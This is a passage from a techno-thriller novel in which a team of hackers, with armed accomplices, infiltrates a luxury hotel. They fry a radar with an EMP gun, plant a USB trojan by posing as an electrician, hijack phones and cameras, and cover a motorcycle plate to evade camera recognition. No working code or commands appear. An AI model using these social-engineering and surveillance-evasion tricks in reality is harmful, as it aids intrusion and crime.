"Well, this boat has to stop bobbing if I'm going to get a decent shot," said Danny.

"Can you even hit anything from all the way out here?" Jason asked.

"Oh yeah," Danny replied, eyeing the indicator lamps on the circuitboard. "This parabolic field antenna boosts the HERF gun's output gain by about thirty decibels. Those Coast Guard radar stations along the shore? I can knock them out from half a mile away. But it narrows the beam, so I need to line it up just right..."

Out past the HERF gun's parabolic antenna, past the bow of the yacht and the silvery ripples of moonlit water, there spread the steep, dark, tree-lined banks of the Medina waterfront. And over that waterfront, dwarfing the personal mansions of tech tycoons beside it, rose the twelve-storied edifice of the Medina Gallante. Its floor-to-ceiling windows formed checkerboard patterns of glowing white and dark iridescent green. Gray cobblestone pillars buttressed its walls. Sloped brown beams of cedar supported its staggered multi-leveled roofs. The luxury hotel followed the contours of the sloping hillside shore upon which it was built, giving it an air of natural belonging, like a living growth of wood, stone, and crystal rising up from the forested waterline.

At the base of the hotel, a private wharf jutted out into the water. A handful of small yachts swayed gently in the waves, moored to a few short piers.

“Do they have anyone patrolling the wharf?” asked Jason.

“Negative,” said Danny. “Satish and I read through some documents from the RockBox server that discuss the Gallante’s security protocols. They have one guy that handles yacht rentals during the day, but nobody’s watching the water at night...” He made more bare-handed adjustments to the curved shape of the wire mesh. Suddenly, he smiled at the readings on the circuitboard and announced, “Ah, here we go!”

He flipped a few switches on the energy cannon. Lights blinked on. Fans whirled.

“Now, keep in mind,” Danny said slowly while checking the device’s indicator lamps, “this is exactly what this device is built for. I made this little guy during Claymore’s contract with Naval Base Kitsap. The Navy wanted us to find and fix flaws in their communication system up there. I told them they needed to harden their electronics against directed electromagnetic pulses. They laughed and said that EMPs would never happen — that they’re, um, ‘sci-fi hootenanny’, were their exact words. Well, I told them, ‘Give me a high-powered radar magnetron, and I’ll show you hootenanny.’ So they did, just to humor me. And when I came back and demonstrated this device to them and proved I was right, they were surprisingly displeased...”

“Oh!” Jason said accusatorially. “So that’s what happened to the Kitsap contract! You know, the rest of the investors and I, we never got a straight answer from you guys about it...”

“Yeah, well. My point is, the Coast Guard’s radar systems are exactly the same kind as Naval Base Kitsap’s. Somewhere along that shoreline, there’s an automated radar station watching this stretch of water. It’s just a small plastic dome, about the size of a beach ball, probably painted to look like a rock. Inside, there’s an S-band magnetron, just like in this gun here. Except theirs is a twenty-kilowatt emitter built for continuous low-power scanning, while mine is a three megawatt monster optimized for one single high-impact burst.”

He held up the circuitboard, aglow with multicolored lights and gauges.

“I’ve got a bead on them right now,” he explained. “According to this, their radar pod is currently sweeping the area with a 5-degree beam at 2.8 gigahertz...”

Danny crouched to fit his shoulder underneath the tripod-mounted HERF gun, and gingerly pulled the trigger.

“...And now it’s not.”

After a moment of silence, Jason asked, “That’s it?”

Danny flashed him a satisfied grin.

“The Coast Guard’s radar is down?”

Danny nodded vigorously. “If by ‘down,’ you mean fried to a spark-singed crisp.”

“Will they notice?”

“They’ll no doubt send a repair crew in the morning,” said Danny. “But tonight, the sea is ours.”

Jason nodded. “Alright then. I’ll take her in. Slowly. You should go update the team.”

Danny saluted. “Aye aye, skipper!”

Jason looked out at the flat expanse of water ahead, and tapped the controls of the sleek cherrywood console that comprised the helm. A vibration quaked across the body of the yacht. Water burbled behind the vessel as the motor rumbled to life.

Danny made his way across the topside, holding onto random yacht-parts to keep his balance. He reached the stairs to take him below deck, to the cozy wood-paneled compartment where he had first met Mike and Moshen and Satish playing *Dungeons & Dragons* just the previous day.

Upon the lacquered table sat several laptops, their screens showing floor plans, emails, and code. Freshly purchased cellphones and Bluetooth headsets lay on the leather benches surrounding the table, beside their recently opened packaging.

A large television screen on the room's rear wall displayed the faces of Danny's teammates in neatly tiled teleconferencing windows. In one corner, he could see Tina tending to glassware in his kitchen. In another, Satish, still in his office, examined source code. Mike and Natalie shared a video feed from the hospital room, the two of them bantering in obnoxiously cute tones. A small icon represented Moshen, available only by voice.

"Guys," Danny announced. The faces of his teammates turned toward their respective monitors. "It's happening."

Mike was the first to respond. "I'm ready to start poking through their network as soon as Satish gives me a back door. I've taught Nat-Nat how to work the camera feeds, so we'll be your eyes and ears."

"Thank you, Mike," Danny said. "Are you sure you're feeling up for this?"

Mike nodded his large furry head. "What else am I going to do, just lie here? They want to hold me for two days for monitoring. Do you have any idea how boring it is to be stuck in a hospital bed?"

Moshen's voice chimed in over the conference call. " 'Nat-Nat'? You call her 'Nat-Nat'? What does she call you? 'Snugglewumpus'?"

Natalie giggled. "Oooh! Snugglewumpus! I like that one! My Snugglewumpus..."

Mike cooed back, "I could see myself as your Snugglewumpus..."

Moshen replied with a throaty, “Ewwwwwww...” so heartfelt that his icon almost looked like it cringed.

Mike and Natalie ignored him and started making out on camera.

Danny grabbed a mouse on the lacquered table and hid their window. “Satish. Speaking of that back door, how’s our trojan coming?”

Satish’s head swiveled. “Good to go, Danny. I’ve sent you the executable. I found a weakness in the integration of their billing system. It was built by a different contractor than the security system. Both billing and security by themselves are pretty solid, but the connection between them is sloppy, like the two contractors weren’t really working together to make sure their systems talked to one another correctly. The bottom line is, I’ve got a rootkit ready. As soon as this program runs on a computer that accesses the Gallante’s billing system, I take complete control.”

Danny checked his DropBox account on one of the laptops on the table. A new executable file awaited him. “Good work, Satish. Thank you.”

“It still needs to be delivered by hand, Danny,” Satish warned. “Physically. You know what that means.”

Danny nodded, and plugged his data stick into the USB port of the laptop. “It means,” he said while copying files, “that I’m going to be checking out the Gallante’s fine dining establishments.”

“Exactly,” said Satish.

With the files transferred to his data stick, Danny turned his attention to the small motionless icon. “Moshen, what about you? What's your status?”

Moshen’s disembodied voice replied, “I’m parked on some random side-street about five miles away.”

“Great,” Danny said. “How are you feeling? Confident? Pumped?”

Moshen said, “Um...”

On a tree-lined residential road somewhere in Seattle’s eastern suburbs, a boxy gray van marked “Claymore Communications” stood on the curb. Moshen sat in the driver’s seat, speaking into a Bluetooth earpiece tucked beside the frame of his thick glasses. His scrawny arms hung loosely from the steering wheel.

To his right, Sergey Mukhayev stared broodingly through the windshield, his hulking form breathing tensely as he gazed into the night. Behind them, Leo adjusted the suppressor on his handgun while Eugene idly twirled a razor-sharp butterfly knife with deadly dexterity.

“I... can’t complain...” Moshen said carefully. “Why do I have to do the driving, anyway?”

“Because,” said Danny. “When you enter Medina, you *will* be pulled over. It’s guaranteed. The cops will take the driver’s license of whoever’s behind the wheel. And if Sergey or any of his group is in the driver’s seat, we run the risk of them getting snatched by the long arm of the law.”

Moshen murmured, “Heh. You said ‘snatch.’”

Danny switched his focus to Tina. Her dark hair framed her face in the corner of the screen. Her small, discrete nose stud glinted in the light of his kitchen. Dance music played indistinctly in the background. “Tina. Status?”

She replied with an eager, energized smile. “Production and distribution are going according to plan, Danny. I’m finishing the last batch right now.”

Danny nodded. “Excellent. You found someone to make the rounds?”

Tina looked away awkwardly. “Yeah.” Her smile suddenly looked a little forced.

“Now, this friend of yours,” Danny continued, “is coming by motorcycle, right? That’s critical. ‘Cuz, remember, every street in Medina has cameras hooked to automated image recognition software. This evening I hopped onto the ACM Digital Library and looked up the research papers that the image recognition algorithms are based on, and it turns out they have a couple of known failure modes. If you’re on a motorcycle, and your license plate isn’t immediately visible, then the software will mistake it for a bicycle. So tell your friend to keep his plate covered all the way through Medina, alright?”

Tina's eyes tracked something in Danny's living room, outside the view of the camera. "Uh-huh...", she said woodenly. "No problem."

Danny finally noticed something amiss with her expression. He listened carefully to the dance music in the background. He heard soft thumping accompanying the beats. He cranked up the volume. From somewhere beyond the camera's view, a dance song finished. The voice of an early twentysomething man called out, "Bam! Nailed it! Yo T, come over here and check out my score!"

Danny raised an eyebrow. "Um, Tina...? Is there a dance party at my place that I wasn't invited to?"

Tina answered sheepishly, "That's just my, um, friend."

The young man's voice howled, "Oh shit! T, is that him? Is that the guy?"

Footsteps scrambled. The remote laptop got picked up and swiveled. Tina's face was replaced by a young man with spiky hair and narrow glasses. Danny recognized him from the Facebook profile back at the B&O Espresso. It was rot13er — Roger Tanner, Tungsten's system administrator. "Dude!" he said. "You're the guy who broke my network!"

"Dude," Danny echoed back flatly. "You're the guy who had a set of machines with known WEP vulnerabilities and didn't think to isolate them on a firewalled subnet."

“Yeah yeah, whatever,” said Roger. “Tell you what: how about you teach me how to make an EMP zap-gun like you’ve got and we’ll call it even?”

Tina said insistently, “Roger, now is not the time to be a dick.”

Roger replied breezily, “Give me a break, T. This guy wants me to ride through a neighborhood crawling with po-po, carrying enough goodies to put me away for so long that, by the time I get out, I’ll be, like, his age. Why the fuck should I stick my neck out for him?”

In a voice cold but confident, Tina answered, “Because, Roger. You’re the one that tracked Danny down and gave his info to Drippy. You’re the reason Sergey found us here. You’re why we’re in this whole new level of mess right now.”

Roger held up his palms defensively. “Hey! I was just trying to solve the break-in, alright? I didn’t realize at the time that he’s, like, your new boyfriend or whatever. How the hell was I supposed to know?”

“You weren’t, and nobody faults you for it,” Tina said with diplomatic steadiness. “But, Roger, most people — you know, ones who *aren’t* narcissistic pieces of shit — would nonetheless still feel a little guilty. Now, I realize your ‘factory setting’ is to believe you’re the center of the universe and can do no wrong. But if there’s any part of you that is even dimly aware of the fact that there are other human beings in this world and that your actions affect them, then you’ll stop being such a snot and do what you can to set things right.”

For several seconds, Roger merely scowled. Finally, he let out a sigh and zipped his riding jacket up to the neck. “Just give me the package, T,” he mumbled grudgingly.

The camera image was momentarily taken up by a Pyrex bowl, sealed with a lid. Though its transparent surface was dirty with water stains and encrusted powder, faint bits of glassware could be seen inside. The bowl passed from Tina’s black-manicured hands to Roger’s riding-gloved ones. The sound of boots across hardwood floors and the opening and closing of a house door marked Roger’s departure.

Tina’s face reappeared on the screen.

“Tina, I have a job for you during this operation,” Danny said. “It’s a job you’re best prepared for out of all of us, and it’s critical to the mission’s success.”

“Sure, what do you need?” she replied.

“You’re not going to like it.” He hesitated for a few moments.

“Well?” she pressed.

Danny replied, “Communications officer.”

“What does that mean?” she asked suspiciously.

“You know, like Uhura from Star Trek,” said Danny.

“Which means...?” she repeated.

“Well, see,” Danny explained, “the Gallante’s phone switch plugs into a Cisco VOIP telephony system, which Mike should be able to get command of. And their security guards have walkie-talkies that use a trunked P25 digital radio system with an RTP cross-bridge, which Satish will probably be able to take over. What this means is that we can route all voice traffic — incoming, outgoing, and internal — to a SIP user agent on your terminal. And your professional experience coordinating Skype teleconferences gives you the best mastery of Skype meeting controls out of all of us...”

“Which means...?”

“...You’ll be answering phones,” Danny said.

She stared at him with a gaze so cold that her image almost began frosting the screen. “I hate you so much right now,” she said.

He looked away meekly. “I... I know...”

Without warning, the low rumble of the yacht’s engines cut out. Footsteps sounded from above. Through the portholes, Danny could see Jason walking along the deck, dragging ropes to secure the yacht to the dock.

“It’s almost go-time,” Danny told his teammates.

Mike said to him, “Be careful, Danny. Stay out of sight.”

“Don’t worry, Mike,” Danny replied. “I’ve got that covered. Watch this. Now you see me...”

He stepped out of the view of the webcam and dug through the piles of equipment and supplies on the benches around the table. After a few moments, he stepped back into frame. He was wearing blue coveralls, a toolbelt, and a plastic ID holder with a plain white card inside. In one gray-gloved hand he held his HERF gun, while in the other he carried a large red toolbox.

“...Now you don’t!”

The footsteps on the deck came around to the aft of the vessel. Jason descended into the cabin. He waved hello to the faces on the screen. “The ship’s secure, Danny.”

Danny took a deep breath to steel himself.

“Try not get killed, okay?” said Jason. “Come back here when you’re ready for extraction. I’ll be waiting.”

“Actually, Jason,” Danny said, “there’s a very important task that I need you to handle.”

“What’s that?”

“The same thing I did for you forty-eight hours ago. I need you to prepare a PowerPoint presentation.”

28

HERNANDO MEJÍA WASN'T LEGALLY ALLOWED to be here. He spoke no English, and he had no papers. He wasn't stupid; he knew to keep his head down and his mouth shut.

Stoically, he rubbed a Windex-coated cloth against the interior of the windows of the lower west wing of the Medina Gallante.

He saw motion outside.

From the wide stone steps leading down to the hotel's wharf, a man's head ascended into the light. A small Bluetooth device sat nestled in his ear, beneath a yellow safety helmet. He wore coveralls and a toolbelt, and carried a toolbox and a large long complex-looking device. He could've been a plumber or an electrician.

The man climbed the steps and proceeded toward the doors. When he pulled on their handles, they wouldn't budge. After 9:00 P.M., the doors needed a key to open from the outside. If the man had any legitimate business out on the wharf, he would've known that.

The man knocked on the glass, waved to Mejía, and said something in English. Mejía could hear him speaking, but he understood nothing. Mejía tried to reply in Spanish. The man simply shook his head and shrugged.

Mejía weighed his options. His instincts told him to be wary. Paranoia was a virtue.

That same sense of paranoia, however, also told Mejía that his best option was always to comply. If this man was indeed simply a locked-out maintenance worker, refusal to let him in could result in being reported to management. And job loss. And ICE.

Mejía opened the door.

The man picked up his equipment and entered the building. He babbled something in English. Mejía simply gave him a thumbs-up and a plastic smile. Eventually, the man stopped talking, and walked off into the wide wood and marble halls of the hotel.

Mejía returned to work.

LYNNETTE LEFFERT WAS SWAMPED, as usual. The clientele of *Bistro* was certainly awash with cash and never thought twice about paying extravagant prices for a garden salad and garlic bread, but they always made Leffert and her staff work for their profit margins. She'd spent the evening enduring insults about her food quality from a Parisian couple, sexual harassment from a table of Kuwaiti investment bankers, and an impenetrable language barrier from a group of Japanese technology executives. Even on the best of days, the job of managing the premiere restaurant inside the Medina Gallante was not for the faint of heart.

She was checking the fridge inventory when Luke, the host, came to fetch her.

"Hey, um, Lynette...?" said the thin, effete young man. "We've got some guy from Facilities here. He says he's found some kind of electrical problem...?"

"Electrical problem?" she echoed, her concentration still set on counting foil-wrapped stacks of steaks, chicken, and fish.

"He said it might have something to do with our computer?" the slight young man said hesitantly. "Should I bring him over, or...?"

Leffert shook her head. She closed the refrigerator door and marched out from the kitchen toward the front of the restaurant.

Bistro opened out to a wide hallway that led to the elevators and lobby. Velvet ropes swooped out from the doorway, past a black easel listing the day's specials in handwritten multi-colored chalk.

An electrician, complete with blue coveralls and a yellow helmet, stood waiting. He was studying the host's lectern, where a spiral-bound notepad and a glossy, crayon-marked paper chart enabled Luke to keep track of reservation times and seating arrangements.

"Can I help you?" Leffert asked pointedly.

The man looked slightly disoriented. "I... was just noticing that you don't use a computer for your, um, seating thingie..."

"No, we don't," Leffert said.

"But you do have a computer, yes?" he asked.

"Yeah, a Point-Of-Sale system," Leffert answered.

The man stood up straight, held up a bizarre plastic contraption, and said confidently, "Well, see, I'm trying to isolate an intermittent ground fault somewhere along this column of the building. I need to go through all the appliances on this circuit until I can find the one that's causing the issue."

Leffert raised an eyebrow. "An intermittent ground fault?"

The man nodded. “Yes, ma’am. It’s a situation in which some appliance somewhere isn’t properly insulated. It could be very dangerous. I just need to rule out your computer as a possible source...”

Leffert rubbed her temples. “How long will it take?”

“Two minutes, tops. I just need to get behind the computer and check its power cord.”

“Fine, get to it,” Leffert replied. “Luke, take him to the POS, please.”

Luke escorted the electrician to the window between the kitchen and the serving area. There, on a shelf jutting out from the wall, sat the restaurant’s Point-Of-Sale computer. Its touch-sensitive screen showed multicolored blocks that the servers could press to enter orders. The electrician nudged the computer to access its rear workings.

Leffert had scarcely gotten halfway back to the kitchen before Luke came running. “Hey, Lynette! It’s asking for your password!”

The electrician stood sheepishly next to the POS computer. “I’m so sorry! I must’ve bumped something!”

Leffert looked at the POS touch-screen. It had gone dim, and in its center sat a large window with a big orange warning icon and the text:

Do you want to allow the following program from an unknown publisher to make changes to this computer?

Program name: **MICROSOFT_WINDOWS_SYSTEM_UPDATE.EXE**

Publisher: **Unknown**

File origin: **Removable media on this computer**

To continue, type an administrator password, and then click Yes.

Leffert rolled her eyes and tapped in her password.

“I didn’t break anything, did I?” said the electrician. “I was just checking the electrical connection. Nothing I was doing should’ve touched the computer’s software...”

“Relax,” Leffert said. “It’s just some kind of maintenance crap. Probably didn’t even have anything to do with you. Did you find the issue?”

He shook his head. “I need to keep looking. The fault’s not here. Your system’s fine.”

“Good. You need anything else from me?” Leffert said with a tired shrug.

“Not at all,” he said, and he scampered off into the hall.

MOSHEN CHAN SAT IN THE DRIVER'S SEAT of the Claymore Communications van, with a small platoon of Russian mafia thugs in the front and a cache of paramilitary armament buried beneath cellular transmission equipment in the back, wishing he could be at home writing some JavaScript code instead.

Satish's Indian-accented voice chimed within Moshen's earpiece. "I've got their billing systems under my control."

Moshen asked, "Where's Jason and Danny?"

Tina answered. "I've got them on a sidebar call. They're discussing something about a slideshow."

Satish announced, "Mike, I'm about to take over their security office. If they notice, they'll probably signal for help. So I'm holding off until you take over their communications. How are you coming on that PSTN gateway?"

"I'll tell you in a second," Mike answered. Five silent minutes later, he said, "I think I got it. Routing phone calls to Tina..."

"Yay," Tina said with a level of enthusiasm usually reserved for dental exams.

With his keyboard clattering in the background, Satish said, "Okay. I'm taking control of their security office."

Mike announced, "Camera feeds coming online." In the muffled background, he and Natalie strategized about which of them would watch which camera.

"Now, find a camera pointing at the parking entrance and watch it," Satish instructed. "From the security controls, I should be able to open the gate to the underground garage. Can you guys see it moving?"

Natalie announced, "I see it!"

"Okay then," said Satish. "Tina, can you get Danny and Jason for us?"

Jason's voice arrived on the call in mid-sentence. "...where I'd get transaction counts and real-time sales figures like that."

Danny replied to him, "Well, see, that's just it. They don't have to be real. Just believable. Remember, the goal is immediate psychological impact..."

Tina interrupted. "Hey Danny. I've patched you guys back into the main conference."

"What's our status?" he asked.

Satish said to him, "We own their billing systems, their security center, and their telephone lines."

"Sweet," Danny said slowly. "Then the next step is inserting the strike team. Moshen, you there?"

Moshen broke his silence. “Yeah.” He took a deep breath. “On our way.”

He started the ignition. The van rumbled to life, its headlights casting long cones of light down the still street. Large tires gripped the pavement as they slowly rolled out from the shoulder and onto the road. With his eyes moving in a twitchy, paranoid scanning pattern, Moshen guided the van along the quiet Bellevue streets into Medina, Washington.

If it wasn’t for the notification on the van’s GPS display, Moshen would never have known he’d just crossed into one of the wealthiest towns in the nation. Unlike the ostentatious palaces of Beverly Hills or the Hamptons, with their Corinthian columns and monogrammed wrought-iron gates, the houses of Medina were mostly simply large specimens of the kind of nondescript homes found in any upper-middle-class neighborhood. On one side of the simple suburban two-lane road, a descending slope overlooked roofs sprinkled between moonlit treetops. On the other, tall bushes obscured long driveways winding upwards beyond the greenery.

Without any warning, a pair of headlights materialized behind him.

A loud, high-pitched whooping sound broke the quiet night, and the van was suddenly lit up by the spastic red and blue flashes of a police cruiser’s lightbar.

Moshen gulped and pulled gently onto the shoulder between the road and the foliage. The van's tires crunched against fine gravel as it eased to a halt. He watched the police lights blink frenetically in his mirrors. Seconds felt like hours. He rolled down his window and waited.

A bright white light suddenly shone through the driver's side window.

"Claymore Communications," said a gravelly male voice.

"Yes, sir," said Moshen.

The policeman waved his torch away from Moshen's eyes, and swooped its bright circle onto Sergey in the passenger seat.

Sergey blinked, and attempted a friendly, professional smile.

"What brings you boys to the neighborhood?" the policeman said slowly. He panned his light across Eugene and Leo in the back seat. They kept stoic poker-faces.

"We're on a troubleshooting call," Moshen answered. "From the Medina Gallante hotel. They're having some computer glitches."

The policeman angled his flashlight to see into the rear of the van, past the back seat. The beam illuminated computer cables and server racks.

He turned his attention back to Moshen. "License, registration, and insurance."

Moshen fished the paperwork out of his wallet and the van's glove compartment. "Was I doing something wrong, Officer?"

The cop took the papers and turned around unceremoniously. "Maybe you were, maybe you weren't." His boots on the gravel receded beat by beat toward the squad car.

Moshen leaned back in the driver's seat and tried to relax. Minutes passed.

He heard a ringback tone in his Bluetooth earpiece.

Tina's chipper voice said, "You've reached the Medina Gallante! How may I direct your call?"

The policeman's voice responded, "This is Lieutenant Wight, with the Bellevue PD. Can I speak to someone in charge?"

Tina replied, "I'm the night shift manager. Is everything alright, Officer?"

"I just stopped a company wagon en route to your destination. Markings 'Claymore Communications.' They got any legitimate business over there?"

"Absolutely!" said Tina. "We're having serious problems with our computer systems. We need them here right away."

“They don’t look right,” said the policeman. “The driver’s not registered to the vehicle. His tax records say he does computer work, but there’s nothing on file tying him specifically to this Claymore Communications company. Dispatch says nobody’s answering Claymore’s phone right now, so we can’t confirm with the registrant. The driver’s name is Moshen Chan. Can you vouch for him?”

“Yes,” said Tina. “Little guy, big glasses. We’ve worked with him before.”

“There are three additional persons in the vehicle,” the policeman said. “There’s something off about them. They sure as hell don’t look like computer folks. I can have Dispatch send a car out to you guys to keep an eye on these boys, just in case.”

“Oh, no, Officer. That really won’t be necessary,” Tina assured. “We wouldn’t want to upset our guests by implying there’s some kind of issue that requires police presence.”

“We’ll send plainclothes,” the cop suggested. “They’ll blend right in with the civilian population. It’d be no trouble.”

“No, really, don’t,” Tina insisted. “Please, we need those Claymore engineers here quickly. We’re losing revenue.”

“Engineers. Right.” The policeman gave a noncommittal grunt. “Over and out.”

Moshen glanced at his passengers. They looked like enormous wolves, with snarling fangs and bristling fur, wearing stickers on their chests saying, “Hello, My Name Is Sheep!”

Outside, the policeman’s footsteps slowly approached.

“Guys!” Moshen said to the Russians. “Quick! Act like nerds!”

Sergey raised an eyebrow. “What?”

“Act like nerds!”

Eugene and Leo looked at one another dumbly for a moment. Then, Leo tentatively said, “I like computers...?” Eugene replied, “I *love* computers.” Leo answered, “Me too! I love computers so much!” “Computers are best! I can’t computer enough!” “Oh man, you should see this computer I computered the other night. It had the hottest circuits...”

Sergey, for his part, merely sat in the passenger seat, quietly picking his nose.

The policeman returned just long enough to hand Moshen back his cards. He muttered a perfunctory, “Drive safe,” and ambled back to his cruiser.

The Asian kid let out a deep, cathartic sigh, and slowly pulled back onto the road.

DANNY WATCHED THE VAN roll through the gate. He leaned against a concrete pillar in the hotel's garage level, illuminated by jaundiced fluorescent lamps. The vehicle drove to a secluded corner of the underground parking structure.

Moshen cut the engine, hopped out, and came around to open the rear doors. Danny was greeted by the familiar sight of Claymore's field installation equipment and on-site troubleshooting tools. A spectrum analyzer, a portable power supply, and a short Yagi antenna jutted out from the disheveled pile of electronics. In the past six years, he'd taken this van to more trade shows and vendor demonstrations than he'd care to remember. With Claymore now closed and its assets pending sell-off, this mission to the Medina Gallante would be this van's last expedition.

The van rocked gently on its suspension as Sergey stepped out. The side door slid open, and Eugene and Leo emerged.

Danny put the red toolbox on the ground.

"First, let's get you guys on comms," he said. He opened the box. Inside, mixed in among some decoy hammers and screwdrivers, were several fully charged cellphones and Bluetooth headsets. He handed the communication gear out to the Russians, and after a few iterations of, "Testing, testing... Can you hear me now...?", he confirmed that they were all joined to the conference call.

Moshen walked away to stand watch. The three Russians came around to the back of the van and dug through the piles of cables and electronics.

Buried beneath the boxes lay a mobile armory.

Sergey extracted a vest of grayish-black body armor, long and bulky with hard, blocky plates. He donned it over his clothes and fastened its buckles. Onto his head he pulled a heavy-looking full-faced black helmet with a thick clear visor. He strapped a tall black rectangular shield to his left arm, large enough to cover his body from knees to face, with a wide transparent window embedded near the top to allow for vision. In his right hand he held a MAC-10, complete with suppressor, folding stock, laser sight, and extended magazine.

He looked like a tank on two legs.

Leo, the gunman who had shot Danny in the shoulder twenty-four hours ago, wrapped himself in a ballistic vest and helmet like the ones on Sergey. Instead of the shield and MAC-10, though, Leo opted for a spiny black multi-component rifle with enough switches and levers to rival a church organ. It was about as long as a man's arm, and looked so complex that it seemed like it could suddenly unfold into a thirty-foot-tall anthropomorphic alien robot at any moment. A sophisticated scope ran along its top. A ridged hollow tube, about as big as a cardboard paper towel roll, hung beneath its barrel. The precision engineering of

the many modular interlocking pieces astounded Danny; looking at the weapon, it was clear to him that the people who developed that firearm knew as much about alloys and ballistics as he knew about computers and electronics.

“What the hell is that?” Danny couldn’t help asking.

“This?” said Leo with a grin as he checked the intricate parts of the weapons system. “This is standard-issue M4 carbine. It has suppressor and muzzle break, M68 CCO reflex sight and an M203 grenade launcher.” He held it up proudly. “I call her Matilda.”

“A grenade launcher? Guys, that was not part of the plan!”

“You stay with computer stuff,” said Leo. “Leave the fighting stuff to us. You don’t tell us how to do our job, we won’t tell you how to do yours. Deal?”

“Does your job involve picking out pieces of Sergey’s daughter from piles of gibbs and putting her back together with duct tape?” said Danny.

Leo rolled his eyes and scoffed, “Idiot.” The Russian gunman reached into the van and pulled out a black rubber cylinder, rounded on one side. It was shaped like a bullet, but about the size of a pill bottle. “We use this,” he said, holding the object up in front of Danny.

“What is it?” Danny asked.

Leo grinned. “It is how you make an entrance.”

Sergey laughed lightly. “It is forty-millimeter spin-stabilized flash grenade. You do not want to be looking at it when it goes off.”

Leo smiled, shook his head, and said mirthfully, “Nooooo, you really, really don’t!” The two seemed to share an inside joke of some kind — a recollection, perhaps, of battles past.

A few feet away, Eugene practiced turning, twisting, and kicking in his gear. He opted for a thinner, lighter ballistic vest and a bowl-shaped open-faced helmet, affording him fast, easy movement.

Sergey passed him a bigger helmet, with side coverage and a faceplate like the kind he and Leo wore.

Eugene scoffed at it. “Uncle, that thing is useless! You wear that, you have no idea what’s happening around you. Look...!” He walked up to Sergey, reached his hands out on either side of Sergey’s fully encased head, and began snapping his fingers on alternate sides. “Over here! No, over here! Over here! ...See? Nothing.”

Sergey mumbled, “Over here, smartass,” and swung his MAC-10 out at Eugene’s unprotected cheekbone, quick enough to startle him but slow enough to not do any real harm. Eugene ducked to avoid the pistol-whipping, and reached up to seize Sergey’s elbow and wrist. Sergey found his arm trapped in a leveraged limb-lock that would’ve sent the gun clattering to the floor if Eugene applied any more force. Sergey responded with a shield-bash, smacking the black polymer bubble against Eugene’s body and sending him stumbling several feet backwards.

The two men laughed, and spoke to one another in Russian with warm, familial tones.

As they talked and checked their gear, a low rumble arose from somewhere amongst the concrete pillars of the garage. A lone headlight shone from the gate at the entrance.

Danny heard the rapid footsteps of Moshen's sneakers. "Guys! Someone's coming!"

The Bluetooth headset in Danny's ear chirped with Natalie's voice. "It's Roger. I can see him on camera." The gate swung gently open, courtesy of a packet sent by Satish.

A yellow sportsbike rounded the bend of the garage, bearing a tall, sinewy young man. It rolled to a stop next to the van, on the opposite side from the Russians. The driver toed the kickstand to the ground and killed the throaty hum of the motorcycle's engine. He dismounted and pulled off his helmet.

"Roger, I presume?" Danny said in a cordial tone.

Roger gave him an acknowledging grunt, and reached into one of the bike's saddlebags. He pulled out the sealed Pyrex bowl. "Here's your shit."

Danny took the glass vessel. “Thanks, man,” he said earnestly. He laid his HERF gun on the ground and knelt down to stash the bowl deep inside the large toolbox.

“Hey, is that the EMP rifle?” Roger asked. “I seriously can’t believe you actually built one of those. Are those blue things on the end capacitors? What kind of range can you get on it? Can I try it?”

Danny looked up to see Roger staring at the HERF gun with eyes filled with wonder. His fingers wiggled slightly in the hope of getting to touch the device. Danny couldn’t help but smile. He picked up the gun as he stood back up. “You see,” he said to Roger, pointing proudly to a small assembly connected to the spine of relays, “the real magic is in the DC voltage amplifier circuit. It’s a tradeoff against current, but the ultracaps pump out current to spare, so...”

Roger nodded excitedly, like a child being told exactly what the tooth fairy does with all those molars. “Right! I get it,” he said. “At least, um, I think I do. I mean, I mostly just do net admin stuff. Is electrical engineering hard to learn?”

Danny beamed at him kindly. “Well...”

His attention was pulled away by the sound of Satish’s voice in his earpiece.

“Danny, are you there?”

Danny turned away from Roger. His face hardened as his concentration returned.

“Yeah, Satish. What’s up?”

“I have good news and bad news. Good news: I’ve been able to find several X10/IP bridges, and I can detect IP-encapsulated X10 packets all over the network.”

“That’s *very* good news,” said Danny. “What’s the bad news?”

“There’s a huge number of X10 controllers in the building,” said Satish, “and I can’t tell which ones correspond to the Presidential penthouse. Mike and I were studying it for the last few minutes, and we can’t come up with a good approach except for divide-and-conquer.”

“I’ll get you some additional manpower,” said Danny. “Moshen!”

“Yeah?” Moshen asked, still dazed.

“You’re on the conference call,” he said. “This X10 issue that Satish is talking about. Can you help?”

Moshen hesitated. “Uh... What’s an X10?”

“Home automation,” Danny explained. “It’s a language spoken by electronic appliances around the house. Lights, heating, air conditioning, entertainment systems, that kind of thing. The Gallante has its rooms wired with X10 devices, and Satish and Mike need a hand figuring out which ones are in the Presidential Suite. Can you help?”

Moshen recoiled. “I just build websites, Danny. I mean, I can try...”

Danny sighed, and went to the back of the van to dig a laptop out of the electronics. “Roger?” he asked.

“Yeah?” Roger replied uncertainly.

“Wireshark,” Danny said briskly as he dusted off the old computer. “tcpdump. nmap. netcat. dd.”

“Network probing tools,” said Roger. “What about them?”

“Can you use them?” he asked, booting up the laptop.

“Well, yeah...” said Roger. “Why? What do you...?”

Danny shoved the laptop into Roger’s hands. “Congratulations, you’ve just been drafted. Satish and Mike will get you caught up. Tina, can you link him to the voice bridge?”

Roger took the laptop with an uncertain shrug. He set it on the hood of the van and got to typing.

From around the other side of the van, the deep voice of Sergey rumbled. “Can we get moving yet? It is getting hot in this suit.”

“Let me check,” Danny replied. “Mike and Natalie! Have you found a path these guys can take through the building without being seen?”

Mike's voice buzzed in the earpiece. "Yes. Up the back stairs — it connects to the hotel's rear maintenance corridor."

With an approving nod, Danny grabbed his HERF gun and his toolbox. "Then let's get moving."

The Russians emerged from behind the van, marching into view in their battle dressing. Roger stared slackjawed as they appeared, and instinctively backed away slowly.

Danny began to lead them to the garage's rear stairwell.

Eugene called out, "Hey, hold on! Almost done here..." He knelt over a backpack and a large spool of black nylon rope. He was in the process of cutting two- and three-foot lengths of cord with a serrated blade and putting them into the backpack.

Roger said wide-eyed, "Do I even want to know what that's for?"

"The rope?" said Eugene. "It's for many things." He finished the last of the cuts, then hurriedly stuffed the rest of the spool into the backpack and slung it over his shoulder. "But first," he added, "it's for making a few inconvenient people go away."

DOMINGA TORRES WAS A STOUT, BRAWNY WOMAN. Under her uniform, her abdomen still bore a calligraphic “Chola 4 Life” tattoo, an embarrassing reminder of her gang-fueled teen years in East L.A.. Much of her early life was spent in and out of juvenile detention centers, cursing authority figures with vows of vengeance. But when she became a mother, she took serious stock of herself and the kind of world she wanted her babies to live in. Her dream now was to land a position with the LAPD, and then see the expressions on her old friends’ faces when she’d come back into her old hood on the other side of the thin blue line. But for now, she carried no gun, and her badge was simply a token brass shield printed with the words “Security Guard”, provided to her by the Medina Gallante.

